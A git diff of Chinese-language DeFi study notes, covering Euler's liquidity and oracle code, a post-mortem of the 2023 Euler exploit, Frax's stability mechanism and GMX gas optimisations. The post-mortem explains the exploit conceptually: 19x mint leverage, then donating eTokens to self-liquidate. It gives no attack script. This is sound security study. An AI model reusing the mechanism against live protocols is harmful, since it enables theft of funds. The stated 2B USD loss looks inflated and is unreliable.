+
+        {
+            uint24[4] memory fees = [uint24(3000), 10000, 500, 100];
+            uint128 bestLiquidity = 0;
+
+            for (uint i = 0; i < fees.length; ++i) {
+                address candidatePool = IUniswapV3Factory(uniswapFactory).getPool(underlying, referenceAsset, fees[i]);
+                if (candidatePool == address(0)) continue;
+
+                uint128 liquidity = IUniswapV3Pool(candidatePool).liquidity();
+
+                if (pool == address(0) || liquidity > bestLiquidity) {
+                    pool = candidatePool;
+                    fee = fees[i];
+                    bestLiquidity = liquidity;
+                }
+            }
+        }
+
+        require(pool != address(0), "e/no-uniswap-pool-avail");
+        require(computeUniswapPoolAddress(underlying, fee) == pool, "e/bad-uniswap-pool-addr");
+
+        p.pricingType = PRICINGTYPE__UNISWAP3_TWAP;
+        p.pricingParameters = uint32(fee);
+
+        try IUniswapV3Pool(pool).increaseObservationCardinalityNext(MIN_UNISWAP3_OBSERVATION_CARDINALITY) {
+            // Success
+        } catch Error(string memory err) {
+            if (keccak256(bytes(err)) == keccak256("LOK")) revert("e/risk/uniswap-pool-not-inited");
+            revert(string(abi.encodePacked("e/risk/uniswap/", err)));
+        } catch (bytes memory returnData) {
+            revertBytes(returnData);
+        }
+    }
+}
+```
+
+## Pricing
+
+### getPriceInternal
+
+根据 `pricingType` 获取价格
+
+pricingType:
+
+- 1 锚定类型，价格恒定为 1
+- 2 取 Uniswap v3 TWAP 预言机价格
+- 其他情况 revert
+
+```solidity
+uint16 internal constant PRICINGTYPE__PEGGED = 1;
+uint16 internal constant PRICINGTYPE__UNISWAP3_TWAP = 2;
+
+function getPriceInternal(AssetCache memory assetCache, AssetConfig memory config) public view FREEMEM returns (uint twap, uint twapPeriod) {
+    (address underlying, uint16 pricingType, uint32 pricingParameters, uint24 twapWindow) = resolvePricingConfig(assetCache, config);
+
+    if (pricingType == PRICINGTYPE__PEGGED) {
+        twap = 1e18;
+        twapPeriod = twapWindow;
+    } else if (pricingType == PRICINGTYPE__UNISWAP3_TWAP) {
+        address pool = computeUniswapPoolAddress(underlying, uint24(pricingParameters));
+        (twap, twapPeriod) = callUniswapObserve(assetCache, pool, twapWindow);
+    } else {
+        revert("e/unknown-pricing-type");
+    }
+}
+```
+
+## Liquidity
+
+关于 Liquidity 的原理参见 [README Liquidity](../README.md#Liquidity)
+
+### computeLiquidity
+
+分别计算用户的每种资产的 抵押资产 和 负债资产 的总价值（数量 \* 价格），其中抵押资产分为 `Supply` 和 `Self-Collateral`, 负债资产分为 `Liabilities` 和 `Self-Liability`，四种资产均有不同的价值调整系数 factor 。
+
+关于 self 部分的抵押和负债，详细可看官方文档 [self-collateralisation](https://github.com/euler-xyz/euler-contracts/blob/master/docs/self-collateralisation.md)
+
+首先，我们假设该资产的 assetLiability 全部都是 self-collateral ，如果此时 assetLiability > 该资产的所有抵押数量，这显然不合理，说明假设不成立；
+所以我们将 self-collateral 重设为 balanceInUnderlying，而剩下的一部分 assetLiability - balanceInUnderlying 则为实际的 Liabilities
+
+```solidity
+uint internal constant CONFIG_FACTOR_SCALE = 4_000_000_000; // must fit into a uint32
+uint32 internal constant SELF_COLLATERAL_FACTOR = uint32(0.95 * 4_000_000_000);
+
+
+function computeLiquidity(address account) public view override returns (LiquidityStatus memory) {
+    return computeLiquidityRaw(account, getEnteredMarketsArray(account));
+}
+
+function computeLiquidityRaw(address account, address[] memory underlyings) private view returns (LiquidityStatus memory status) {
+    status.collateralValue = 0;
+    status.liabilityValue = 0;
+    status.numBorrows = 0;
+    status.borrowIsolated = false;
+
+    AssetConfig memory config;
+    AssetStorage storage assetStorage;
+    AssetCache memory assetCache;
+
+    // calc debt and collateral every asset
+    for (uint i = 0; i < underlyings.length; ++i) {
+        address underlying = underlyings[i];
+
+        config = resolveAssetConfig(underlying);
+        assetStorage = eTokenLookup[config.eTokenAddress];
+
+        // balance and owned are storage variables, not the latest value
+        uint balance = assetStorage.users[account].balance;  // collateral
+        uint owed = assetStorage.users[account].owed;  // debt
+
+        // If it has debt in this asset, should calc both debt and collateral,
+        // otherwise, add collateral directly
+        if (owed != 0) {
+            initAssetCache(underlying, assetStorage, assetCache);
+            (uint price,) = getPriceInternal(assetCache, config);
+
+            // count debts for check Isolated-level asset
+            status.numBorrows++;
+            if (config.borrowIsolated) status.borrowIsolated = true;
+
+            // The latest debt value, often different from owed (greater)
+            uint assetLiability = getCurrentOwed(assetStorage, assetCache, account);
+
+            if (balance != 0) { // self-collateralisation
+                // User's actually collateral balance of underlying
+                uint balanceInUnderlying = balanceToUnderlyingAmount(assetCache, balance);
+
+                // CONFIG_FACTOR_SCALE for adjusting decimals (1 in uint32)
+                // SELF_COLLATERAL_FACTOR is constant variable (0.95)
+
+                // selfAmount cache Liabilities amount (Self_Collateral_RA)
+                // First of all, we assume that all debt are Self_Liability,
+                // then we can get Self_Collateral
+                // Self_Collateral * SCF = Self_Collateral_RA = Self_Liability
+                // Self_Collateral = Self_Liability / SCF
+                uint selfAmount = assetLiability;   // self-Liability
+                uint selfAmountAdjusted = assetLiability * CONFIG_FACTOR_SCALE / SELF_COLLATERAL_FACTOR; // self-collateral
+
+                // If assetLiability > all mortgages of the asset at this time, this is obviously
+                // unreasonable, indicating that the assumption does not hold.
+                // So we reset self-collateral to balanceInUnderlying and the remaining part of
+                // assetLiability - balanceInUnderlying is the actual Liabilities
+                if (selfAmountAdjusted > balanceInUnderlying) {
+                    selfAmount = balanceInUnderlying * SELF_COLLATERAL_FACTOR / CONFIG_FACTOR_SCALE;
+                    selfAmountAdjusted = balanceInUnderlying;
+                }
+
+                {
+                    // (balanceInUnderlying - selfAmountAdjusted)*BF*price is
+                    // actually Collateral_RA without Self_Collateral
+                    uint assetCollateral = (balanceInUnderlying - selfAmountAdjusted) * config.collateralFactor / CONFIG_FACTOR_SCALE;
+                    assetCollateral += selfAmount;
+                    // accumulate collateralValue
+                    status.collateralValue += assetCollateral * price / 1e18;
+                }
+
+                // debt without self-liabilities
+                assetLiability -= selfAmount;
+                // accumulate self-liabilities as debt
+                status.liabilityValue += selfAmount * price / 1e18;
+                status.borrowIsolated = true; // self-collateralised loans are always isolated
+            }
+
+            // accumulate debt without self-liabilities
+            // this part use borrowFactor is different from self_collateral_factor (constant 0.95)
+            assetLiability = assetLiability * price / 1e18;
+            assetLiability = config.borrowFactor != 0 ? assetLiability * CONFIG_FACTOR_SCALE / config.borrowFactor : MAX_SANE_DEBT_AMOUNT;
+            status.liabilityValue += assetLiability;
+        } else if (balance != 0 && config.collateralFactor != 0) {  // collateralFactor = 0, not as liquidity
+            initAssetCache(underlying, assetStorage, assetCache);
+            (uint price,) = getPriceInternal(assetCache, config);
+
+            // convert Etoken amount to underlying amount
+            // collateralValue += underlying amount * collateralFactor
+            uint balanceInUnderlying = balanceToUnderlyingAmount(assetCache, balance);  // EToken balance -> underlying token balance
+            uint assetCollateral = balanceInUnderlying * price / 1e18;  // amount * price = value
+            assetCollateral = assetCollateral * config.collateralFactor / CONFIG_FACTOR_SCALE;
+            status.collateralValue += assetCollateral;
+        }
+    }
+}
+```
diff --git a/defi/Euler/hack/2023-03-15-11-05-38.png b/defi/Euler/hack/2023-03-15-11-05-38.png
new file mode 100644
index 000000000..e82d6d916
Binary files /dev/null and b/defi/Euler/hack/2023-03-15-11-05-38.png differ
diff --git a/defi/Euler/hack/2023-03-15-14-45-44.png b/defi/Euler/hack/2023-03-15-14-45-44.png
new file mode 100644
index 000000000..57e648d28
Binary files /dev/null and b/defi/Euler/hack/2023-03-15-14-45-44.png differ
diff --git a/defi/Euler/hack/2023-03-16-14-29-24.png b/defi/Euler/hack/2023-03-16-14-29-24.png
new file mode 100644
index 000000000..9a8e6ad3a
Binary files /dev/null and b/defi/Euler/hack/2023-03-16-14-29-24.png differ
diff --git a/defi/Euler/hack/EulerAttack.md b/defi/Euler/hack/EulerAttack.md
new file mode 100644
index 000000000..27b0d88ab
--- /dev/null
+++ b/defi/Euler/hack/EulerAttack.md
@@ -0,0 +1,278 @@
+# Euler Attack Post mortem
+Euler 在3月13日被攻击，损失了2B USD。攻击者的攻击代码异常简约，但反应出的是我方对于Euler项目的理解层次不同，深度不够。
+Euler项目在挖矿前就进行过详细的调研，也组织过相应的学习讨论，当时得出的结论是代码质量高，项目方靠谱。为达到Hacker对于Euler的理解深度，特重新梳理了一遍Euler项目的业务逻辑以及他的智能合约架构，以帮助我方理解其深层次原理。
+
+## 整体架构图
+![](2023-03-15-11-05-38.png)
+## 业务逻辑流程图
+### eToken.deposit:
+```sequence
+sender -> proxy(eToken): call deposit
+proxy(eToken) -> Euler: call dispatch
+Euler -> Impl(eToken): delegatecall deposit
+sender --> Euler: Dai transfer amountA
+Impl(eToken) --> sender: mint eDai amountB
+Impl(eToken) -> InterestRate: deleagatecall update IR
+Impl(eToken) -> RiskManager: delegatecall check liquidity
+Euler -> proxy(eToken): call emitEvent
+```
+
+$$
+\gamma = \frac{totalBorrow}{poolSize+totalBorrow}
+$$
+$$
+exchangeRate = \frac{poolSize+totalBorrow}{totalSupply}=\frac{amountA}{amountB}
+$$
+```python
+r = (cash + totalBorrow) / totalSupply
+r
+# deposit
+amount = 100
+cash = cash + amount
+share1 = amount / r
+totalSupply = totalSupply + share1
+# r = (cash + totalBorrow) / totalSupply
+share1
+```
+
+### eToken.withdraw
+```sequence
+sender -> proxy(eToken): call withdraw
+proxy(eToken) -> Euler: call dispatch
+Euler -> Impl(eToken): delegatecall withdraw
+Euler --> sender: Dai transfer amountA
+sender --> Impl(eToken): burn eDai amountB
+Impl(eToken) -> InterestRate: deleagatecall update IR
+Impl(eToken) -> RiskManager: delegatecall check liquidity
+Euler -> proxy(eToken): call emitEvent
+```
+
+### eToken.mint
+```sequence
+sender -> proxy(eToken): call mint
+proxy(eToken) -> Euler: call dispatch
+Euler -> Impl(eToken): delegatecall mint
+Impl(eToken) --> sender: mint eDai amount * 19
+Impl(dToken) --> sender: mint dDai amount * 19
+Impl(dToken) -> InterestRate: deleagatecall update IR
+Impl(eToken) -> InterestRate: deleagatecall update IR
+Impl(eToken) -> RiskManager: delegatecall check liquidity
+Euler -> proxy(eToken): call emitEvent
+```
+mint本质上是一个放大杠杆的操作，它允许用户最大放大到19倍杠杆。类似于compound中的循环贷，底层的资产事实上都锁在Euler协议里，并没有transfer出去给到用户。只是给用户记账。
+```python
+# mint
+amount = 100 * 19
+debt = amount
+share2 = amount / r
+totalSupply += share2
+totalBorrow += amount
+# r = (cash + totalBorrow) / totalSupply
+share2 + share1
+```
+### eToken.burn
+```sequence
+sender -> proxy(eToken): call burn
+proxy(eToken) -> Euler: call dispatch
+Euler -> Impl(eToken): delegatecall burn
+sender --> Impl(eToken): burn eDai amount
+sender --> Impl(dToken): burn dDai amount
+Impl(dToken) -> InterestRate: deleagatecall update IR
+Impl(eToken) -> InterestRate: deleagatecall update IR
+Impl(eToken) -> RiskManager: delegatecall check liquidity
+Euler -> proxy(eToken): call emitEvent
+```
+
+burn本质上是降低杠杆的操作，是mint的反操作。
+
+### eToken.transferFrom
+```sequence
+sender -> proxy(eToken): call transferfrom
+proxy(eToken) -> Euler: call dispatch
+Euler -> Impl(eToken): delegatecall transferfrom
+sender --> Impl(eToken): transferfrom eDai to amount
+Impl(eToken) -> RiskManager: delegatecall check liquidity From
+Impl(eToken) -> RiskManager: delegatecall check liquidity To
+Euler -> proxy(eToken): call emitEvent
+```
+
+### eToken.donateToReserves
+```sequence
+sender -> proxy(eToken): call donateToReserves
+proxy(eToken) -> Euler: call dispatch
+Euler -> Impl(eToken): delegatecall donateToReserves
+sender --> Impl(eToken): burn eDai amount
+Impl(eToken) --> pool: mint eDai amount
+Euler -> proxy(eToken): call emitEvent
+```
+```python
+# donate
+delta = 500
+share = share1 + share2 - delta
+share
+```
+### dToken.borrow
+```sequence
+sender -> proxy(dToken): call borrow
+proxy(dToken) -> Euler: call dispatch
+Euler -> Impl(dToken): delegatecall borrow
+Euler --> sender: Dai transfer amountA
+Impl(dToken) --> sender: mint dDai amountA
+Impl(dToken) -> InterestRate: deleagatecall update IR
+Impl(dToken) -> RiskManager: delegatecall check liquidity
+Euler -> proxy(dToken): call emitEvent
+```
+### dToken.repay
+```sequence
+sender -> proxy(dToken): call borrow
+proxy(dToken) -> Euler: call dispatch
+Euler -> Impl(dToken): delegatecall borrow
+sender --> Euler: Dai transfer amountA
+sender --> Impl(dToken): burn dDai amountA
+Impl(dToken) -> InterestRate: deleagatecall update IR
+Impl(dToken) -> RiskManager: delegatecall check liquidity
+Euler -> proxy(dToken): call emitEvent
+```
+### dToken.transferFrom
+```sequence
+sender -> proxy(dToken): call transferFrom
+proxy(dToken) -> Euler: call dispatch
+Euler -> Impl(dToken): delegatecall transferFrom
+Impl(dToken) -> Impl(dToken): check allowance[to][from] > amount
+sender --> Impl(dToken): transfer dDai amountA to To addr
+Impl(dToken) -> RiskManager: delegatecall check liquidity To
+Euler -> proxy(dToken): call emitEvent
+```
+### Liquidation.liquidate
+```sequence
+liquidator -> proxy(liquidate): call liquidate
+proxy(liquidate)->Euler: call dispatch
+Euler -> Impl(liquidate): delegatecall liquidate
+Impl(liquidate) -> RiskManager: getAccountLiquidity violator
+Impl(liquidate) -> Impl(liquidate): calculate
+Note right of Impl(liquidate):discount = 1 - healthFactor
+Note right of Impl(liquidate):discount <= 0.2, conversionRate = 1/1/(1-discount)
+Note right of Impl(liquidate):repay = dToken amount, yield = repay * conversionRate
+
+Impl(dToken) --> liquidator: transfer dToken  from violator to liquidator amount = repay
+Impl(dToken) --> liquidator: transfer dToken from violator to liquidator for fee = 0.02 * repay
+Impl(eToken) --> liquidator: transfer eToken from violator to liquidator amount = yield
+Impl(liquidate) -> RiskManager: delegatecall check liquidity liquidator
+Euler -> proxy(liquidate): call emitEvent
+```
+具体的清算时，其计算方式如下：
+```python
+# liquidation
+discount = 0.02 + 1 - hf
+discount = 0.2 if discount > 0.2 else discount
+cr = 1/1/(1-discount)
+
+repay = debt
+profit = repay * cr
+
+repay = share*r/cr if repay > share*r else repay
+profit = share*r if profit > share*r else profit
+
+repay = repay * 1.02
+withdrawAmount = profit - repay/0.95
+discount,cr,repay, profit,withdrawAmount
+
+```
+## Key Process
+### Risk Manager Check Liquidity
+针对同一种token，即持有eToken又持有dToken的情况，需要按照一下两种来分析：
+1. eToken价值低于dToken价值，则折算时，debtVal分为两部分：其一是eToken换算的等值dToken数量 t1, 其二是用户持有的单方向debt头寸差值的价值: (debt-t1)/bf
+```python
+colVal = share*r*0.95*p
+t1 = share*r*0.95
+t2 = (debt-t1)/bf
+debtVal = (t1+t2)*p
+hf = colVal/debtVal
+colVal,debtVal,hf
+```
+2. eToken价值高于dToken价值时，则collVal也分为两部分：其一是dToken换算的等值eToken数量 t1， 其二是差值部分的折算价值: (share*r - t1)*cf
+```python
+debtVal = debt*p
+t1 = debt/0.95
+t2 = (share*r -t1)*cf
+colVal = (t1+t2)*p
+hf = colVal/debtVal
+debtVal,colVal,hf
+```
+
+### reserve 部分计算：
+Euler 选择将reserve换成eToken存放在池子里，这样可以持续的吃利息。类比于compound，就是将compound的reserve部分重新deposit到池子中。
+同样的，问题的核心是保证exchange rate不变：
+
+$$
+r = \frac{casth+borrow-reserve}{totalSupply_0}=\frac{cash+borrow}{totalSupply_1}
+$$
+
+```python
+r1 = (cash + borrow - reserve) / totalSupply
+r2 = (cash + borrow) / totalSupply'
+reserve = (borrow * (1 + IR)^deltaT - borrow) * feeRatio
+totalSupply' / totalSupply = (cash + borrow) / (cash + borrow - reserve)
+```
+```js
+uint256 poolAssets = assetCache.poolSize + (newTotalBorrows / INTERNAL_DEBT_PRECISION);
+newTotalBalances = poolAssets * newTotalBalances / (poolAssets - feeAmount);
+newReserveBalance += newTotalBalances - assetCache.totalBalances;
+```
+
+### liquidation process中如果不是同一种token清算，保证用户健康度>1.25的计算公式推导
+
+推导的核心是：
+
+$$ 
+ hf = \frac{collVal - \delta \cdot cf \cdot cr}{debtVal - \delta / bf} > 1.25
+$$
+
+其中， $\delta$ 是需要偿还的债务价值，即dToken数量 * p， bf是borrow factor，cf是collaterall factory， cr是清算的激励因子
+则：
+
+$$
+\delta > \frac{1.25 * debtVal - collVal}{1.25/bf - cr \cdot cf}
+$$
+
+对应于代码：
+```python
+borrowAdj = 1.25 / bf
+collAdj = cf / (1 - dc) = cf * cr
+if borrowAdj <= collAdj :
+    repay = MAX
+else:
+    repay = (1.25 * debtVal - collVal) / (borrowAdj - collAdj) / p
+```
+
+### isolated 资产，cross资产
+针对isolated资产，比如COMP：
+isolated = true, cf = 0, bf = 28 / 40 = 0.7
+针对cross资产，比如LUSD:
+isolated = false, cf = 0, bf = 28 / 40 = 0.7
+具体的判断逻辑在requireLiquidity里面：
+如果isolated=true,那么必须要求numBorrow=1
+如果isolated=false,则可以借任意多种资产
+
+当借的资产类型是isolated时，此时isolated=true，当Mint时，即放大杠杆时，isolated=true
+
+只有collateral资产的cf > 0
+
+为什么要设计isolated资产类型和cross资产类型？让它无法用作抵押品，降低系统风险。
+
+## 核心漏洞
+mint最大可以放大19倍杠杆，而清算最多可以获得0.25倍的利润，所以19*0.25>1 超过了本金，导致只要构造一个可以清算自己的条件，就可以通过放大杠杆后清算自己获利。
+而通过donate可以构造一个绝佳的清算自己的情况，即将自己的eToken捐出，此时自己的dToken仍在，所以就资不抵债，符合清算逻辑。
+
+### timeline
+
+![](2023-03-16-14-29-24.png)
+https://twitter.com/tayvano_/status/1635368952774950912
+
+
+2023-03-13 18:05:23 local time - Euler Pause 1st
+https://openchain.xyz/trace/ethereum/0xb69b097fb373319659ddd31ac528e471830f50244905f0717cd13bc04f0a88b8
+2023-03-13 18:05:23 local time
+https://etherscan.io/tx/0xb69b097fb373319659ddd31ac528e471830f50244905f0717cd13bc04f0a88b8
+2023-03-13 19:44:23 local time
+https://openchain.xyz/trace/ethereum/0x90d26bb5126df219e707093487ba2a48b271e73ddba7e54bb5ae299c48dfc0fa
diff --git a/defi/Euler/img/Compound-Liquidity.png b/defi/Euler/img/Compound-Liquidity.png
new file mode 100644
index 000000000..ef15a0a47
Binary files /dev/null and b/defi/Euler/img/Compound-Liquidity.png differ
diff --git a/defi/Euler/img/Euler-Liquidity.png b/defi/Euler/img/Euler-Liquidity.png
new file mode 100644
index 000000000..8a003590e
Binary files /dev/null and b/defi/Euler/img/Euler-Liquidity.png differ
diff --git a/defi/Euler/oracle/readme.md b/defi/Euler/oracle/readme.md
new file mode 100644
index 000000000..f1b440eb8
--- /dev/null
+++ b/defi/Euler/oracle/readme.md
@@ -0,0 +1,26 @@
+# oracle
+
+euler 使用 uniswap v3 作为价格输入源。但是如果引用了一个流动性差的池子，会有很大风险。
+
+## oracle 攻击文章
+
+- 攻击成本分析论文：https://github.com/euler-xyz/uni-v3-twap-manipulation/blob/master/cost-of-attack.pdf
+- euler 项目方开发的工具：https://oracle.euler.finance/
+- euer 团队的 univ3 预言机分析：https://blog.euler.finance/uniswap-oracle-attack-simulator-42d18adf65af
+- 具体评级指标：https://blog.euler.finance/eulers-oracle-risk-grading-system-93f47d68205c
+
+## Euler’s Oracle Risk Grading System
+
+影响攻击 Uniswap V3 oracle 难度的两个主要因素:tvb 和流动性的集中。
+评分系统：
+由三个因素组成：
+
+1. TVL locked in the Uniswap V3 pool ,![tvl](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/defi/Euler/img/tvl.jpg?raw=true)
+2. Slippage on a $1mil XYZ vs ETH buy order on Uniswap, <center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/defi/Euler/img/pump.jpg?raw=true" /></center>
+3. Slippage on a $1mil XYZ vs ETH sell order on Uniswap, <center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/defi/Euler/img/dump.jpg?raw=true" /></center>
+
+总体评级从 A 到 F，<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/defi/Euler/img/grade.jpg?raw=true" /></center> 总之，任何低于 B 的内容都应该避免使用!
+
+## 参考链接
+
+- 官方文档：https://docs.euler.finance/risk-framework/oracle-rating
diff --git a/defi/Frax/algorithm.md b/defi/Frax/algorithm.md
new file mode 100644
index 000000000..672aa90f1
--- /dev/null
+++ b/defi/Frax/algorithm.md
@@ -0,0 +1,71 @@
+Frax 的算法稳定性（Algorithmic Stability）设计最初通过部分算法、部分抵押来动态调整其稳定币（FRAX）的供应，最终实现价格锚定。   
+以下将通过技术分析和 JavaScript 演示来解释其原理。
+
+### 1. **算法稳定的基础原理**
+
+Frax 使用部分抵押和部分算法调节的机制来维持其稳定性。
+
+- **抵押部分**：一部分 FRAX 是通过资产（如 USDC）完全抵押的。
+- **算法部分**：另一部分 FRAX 是通过治理代币 FXS 作为铸币和销币工具。
+
+当 FRAX 的市场价格偏离 $1 的目标时：
+- **当 FRAX > $1**：系统会通过铸造更多 FRAX 来降低价格。
+- **当 FRAX < $1**：系统会通过销毁 FRAX 来提升价格。
+
+### 2. **关键参数**
+
+- **Collateral Ratio (CR)**：抵押比率，代表有多少 FRAX 由抵押品支持。  
+  初始设定 CR < 100%，通过市场和算法动态调整。
+
+- **Target Price**：目标价格 $1。
+
+- **Market Price**：FRAX 当前的市场价格。
+
+### 3. **算法演示**
+
+通过简单的 JS 模拟，展示如何根据市场价格动态调整 FRAX 和 FXS 的供需：
+
+```javascript
+// 假设市场价格与抵押比率的关系，动态调整 CR
+let fraxPrice = 1.02; // 当前FRAX市场价格
+let collateralRatio = 0.8; // 初始抵押比率
+const targetPrice = 1.00; // 目标价格
+
+function adjustCollateralRatio(currentPrice) {
+    if (currentPrice > targetPrice) {
+        // 价格高于目标价，需要降低抵押率以铸造更多FRAX
+        collateralRatio -= 0.01; 
+    } else if (currentPrice < targetPrice) {
+        // 价格低于目标价，提高抵押率以减少FRAX供应
+        collateralRatio += 0.01;
+    }
+    collateralRatio = Math.max(0, Math.min(1, collateralRatio)); // 确保CR在[0,1]范围内
+    return collateralRatio;
+}
+
+// 模拟市场价格波动与抵押率动态调整
+for (let i = 0; i < 10; i++) {
+    console.log(`Iteration ${i + 1}`);
+    console.log(`Market Price: $${fraxPrice.toFixed(2)}`);
+    console.log(`Collateral Ratio: ${(adjustCollateralRatio(fraxPrice) * 100).toFixed(2)}%`);
+
+    // 模拟市场价格变动
+    fraxPrice += (Math.random() - 0.5) * 0.05; 
+}
+```
+
+### 4. **代码解释**
+
+- **初始价格和抵押率**：设置 FRAX 初始市场价格为 1.02，抵押率为 80%。
+- **动态调整**：根据价格偏离目标值的程度调整抵押率，市场价格高于 $1 时降低抵押率，反之亦然。
+- **模拟市场波动**：通过 `Math.random()` 生成随机价格波动。
+
+### 5. **实际运行效果**
+
+在实际的 Frax 协议中，这个过程会通过链上智能合约实现，结合 AMM（如 Fraxswap）和治理模块进行稳定性调控。
+
+### 6. **改进后的完全抵押模式**
+
+随着 Frax v3 的升级，FRAX 已转向完全抵押机制（100% CR）。算法部分更多用于流动性管理和收益生成（如 AMO）。
+
+如果你希望运行这段代码并观察模拟结果，请告知，我可以为你提供实时演示！
\ No newline at end of file
diff --git a/defi/Frax/readme.md b/defi/Frax/readme.md
new file mode 100644
index 000000000..af24e396b
--- /dev/null
+++ b/defi/Frax/readme.md
@@ -0,0 +1,36 @@
+[Frax Finance](https://frax.finance/)  
+Frax Finance 是一个去中心化金融（DeFi）协议，旨在提供多种稳定币和相关金融服务。其核心目标是创建一个高度可扩展、无需信任、极其稳定的链上货币系统。Frax 的主要产品包括三种稳定币：FRAX、FPI 和 frxETH，以及多个子协议和治理代币。
+
+**1. 核心稳定币**
+
+- **FRAX**：与美元（USD）挂钩的稳定币，目标是保持 1:1 的价值比率，即每 1 FRAX 等于 1 美元。最初，FRAX 采用部分抵押机制，即通过 USDC 等抵押品和治理代币 FXS 的组合来维持其价值。然而，2023 年 2 月，Frax 社区投票通过了将 FRAX 转为完全抵押机制的提案，将抵押率设定为 100%，以消除算法元素，增强稳定性。 
+
+- **FPI**：Frax 价格指数（FPI）是首个与一篮子消费品价格指数（CPI）挂钩的稳定币，旨在保持其购买力不受通货膨胀影响。FPI 的设计目标是提供一种对冲通胀的工具，使持有者的资产价值与现实世界的消费品价格保持一致。 
+
+- **frxETH**：与以太坊（ETH）挂钩的流动性质押衍生品（LSD），旨在 1:1 反映 ETH 的价值。用户可以将 ETH 存入系统，获得等量的 frxETH。此外，sfrxETH 是 frxETH 的收益变种，持有者可以通过质押 frxETH 获得质押奖励。 
+
+**2. 子协议和应用**
+
+- **Fraxswap**：Frax 的原生自动化做市商（AMM），基于 Uniswap V2，增加了时间加权平均做市商（TWAMM）订单功能，用于在无需信任的情况下进行长周期的大宗交易。 
+
+- **Fraxlend**：一个无许可的借贷市场，允许用户在任意 ERC-20 代币之间创建市场，支持债务发起、自定义非托管贷款，以及将抵押资产引入 Frax 生态系统。 
+
+- **AMO（算法市场操作）**：Frax 运营多个 AMO 智能合约，以管理其抵押品并生成收益。例如，Curve AMO 和 Uniswap V3 AMO 等。 
+
+**3. 治理代币**
+
+- **Frax Shares（FXS）**：Frax 生态系统的治理代币，持有者可以参与协议的治理决策，并从协议的收益中获得回报。FXS 的价值与 FRAX 的使用和需求密切相关。 
+
+- **veFXS**：用户可以将 FXS 锁定一段时间，获得 veFXS，以增加投票权和收益权重，类似于 Curve 的 veCRV 模型。 
+
+**4. 发展历程**
+
+Frax 自 2020 年 12 月推出以来，经历了多个版本的迭代：
+
+- **Frax v1**：初始版本，目标是构建一个部分算法的稳定币，通过动态调整抵押率（CR）来维持 FRAX 的稳定性。
+
+- **Frax v2**：暂停去抵押化，推出 AMO，参与 DeFi 生态系统，如 Curve 战争，积累协议拥有的流动性，增强 FRAX 的稳定性和使用场景。
+
+- **Frax v3**：引入真实世界资产（RWA），成为多元化完全抵押的稳定币，进一步增强 FRAX 的稳定性和抗风险能力。
+
+总体而言，Frax Finance 通过创新的稳定币设计和多样化的金融服务，致力于在 DeFi 领域提供稳定、高效的金融工具，满足用户多样化的需求。 
\ No newline at end of file
diff --git a/defi/GMX/GMX Research Report by Riley.pdf b/defi/GMX/GMX Research Report by Riley.pdf
new file mode 100644
index 000000000..a5a078341
Binary files /dev/null and b/defi/GMX/GMX Research Report by Riley.pdf differ
diff --git a/defi/GMX/GMX_optimization.md b/defi/GMX/GMX_optimization.md
new file mode 100644
index 000000000..96b1da9cc
--- /dev/null
+++ b/defi/GMX/GMX_optimization.md
@@ -0,0 +1,308 @@
+# 给GMX提升一下
+gmx是很牛逼的项目, 但是毕竟是一个人的作品, 代码方面优化空间很大
+
+# 1. gas 方面的优化
+## 提升1
+### 原来结构 消耗gas 186732
+
+优化思路
+* 布尔类型使用一个插槽太浪费
+* factor这个参数听起来数字不会很大, 可以改小, 合并成一个插槽
+* 最后在函数里, 先storage取出来放memory中, 修改完毕后, 放回storage.
+```solidity
+contract Vault  {
+
+    bool public  isInitialized;
+    uint256 public  liquidationFeeUsd;
+    uint256 public  fundingRateFactor; // 最大值10000
+    uint256 public  stableFundingRateFactor;// 最大值10000
+    
+    address public  router;
+    address public  priceFeed;
+    address public  usdg;
+    
+    function initialize(
+            address _router,
+            address _usdg,
+            address _priceFeed,
+            uint256 _liquidationFeeUsd,
+            uint256 _fundingRateFactor,
+            uint256 _stableFundingRateFactor
+        ) external {
+        _validate(!isInitialized, 1);
+        isInitialized = true;
+
+        router = _router;
+        usdg = _usdg;
+        priceFeed = _priceFeed;
+        liquidationFeeUsd = _liquidationFeeUsd;
+        fundingRateFactor = _fundingRateFactor;
+        stableFundingRateFactor = _stableFundingRateFactor;
+    }
+}
+```
+
+#### gas 优化后, gas消耗从186732降为142136
+```solidity
+contract Vault  {
+    
+    struct Slot0{
+        bool   isInitialized; // 8
+        bool   isSwapEnabled ; // 16
+        bool   isLeverageEnabled ; // 24
+        bool  includeAmmPrice ; // 32        
+        uint8   taxBasisPoints; // 500 max
+        uint8  stableTaxBasisPoints ; // 500 max
+        uint8  mintBurnFeeBasisPoints ; // 
+        
+        uint16 whitelistedTokenCount;//
+        uint32 totalTokenWeights;//
+
+        uint16 fundingRateFactor; // 最大值10000
+        uint16 stableFundingRateFactor;// 最大值10000
+        uint112   liquidationFeeUsd; // 最大值 100 * 10 ** 30
+    }
+    Slot0 public slot0; 
+    address public  router;
+    address public  priceFeed;
+
+    address public  usdg;
+    function initialize(
+            address _router,
+            address _usdg,
+            address _priceFeed,
+            uint256 _liquidationFeeUsd,
+            uint256 _fundingRateFactor,
+            uint256 _stableFundingRateFactor
+        ) external {//162136, 186732
+        Slot0 memory _slot0 = slot0;
+        _validate(!_slot0.isInitialized, 1);
+        _slot0.isInitialized = true;
+
+        router = _router;
+        usdg = _usdg;
+        priceFeed = _priceFeed;
+        _slot0.liquidationFeeUsd = uint112(_liquidationFeeUsd);
+        _slot0.fundingRateFactor = uint16(_fundingRateFactor);
+        _slot0.stableFundingRateFactor = uint16(_stableFundingRateFactor);
+        slot0 = _slot0;
+    }  
+}
+```
+
+## 提升2
+### 优化报错机制(162049gas)
+* 不读取storage
+```solidity
+mapping (uint256 => string) public errors; // 应该去掉
+
+function swap(address _tokenIn, address _tokenOut, address _receiver) external override nonReentrant returns (uint256) {
+    _validate(isSwapEnabled, 23);
+    _validate(whitelistedTokens[_tokenIn], 24);
+    _validate(whitelistedTokens[_tokenOut], 25);
+    _validate(_tokenIn != _tokenOut, 26);
+    // ...
+}
+
+// 这个函数应该删掉
+function _validate(bool _condition, uint256 _errorCode) private view {
+    require(_condition, errors[_errorCode]);
+}
+```
+
+#### 修改后(162049 - 4 * 1000 gas)
+
+```solidity
+
+function swap(address _tokenIn, address _tokenOut, address _receiver) external override nonReentrant returns (uint256) {
